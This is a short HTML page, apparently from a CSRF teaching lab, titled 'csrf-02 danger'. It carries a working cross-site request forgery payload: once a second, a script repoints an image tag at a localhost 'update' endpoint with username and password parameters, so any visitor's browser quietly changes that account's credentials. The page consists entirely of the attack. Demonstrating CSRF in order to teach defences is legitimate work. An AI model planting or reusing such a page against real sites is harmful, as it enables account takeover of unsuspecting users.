<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
    <meta charset="UTF-8">
    <title>csrf-02 danger</title>
</head>
<body>
<img id="myPic" src="http://localhost:18080/csrf01/userInfo"/>

<script charset="utf-8" th:src="@{/js/jquery-3.6.0.min.js}"></script>
<script>
    $(function () {
        setInterval(changePic, 1000);
    });

    function changePic() {
        $("#myPic").attr("src", "http://localhost:18080/csrf01/update?username=lisi&password=123qwe&r=" + Math.random());
    }
</script>
</body>

</html>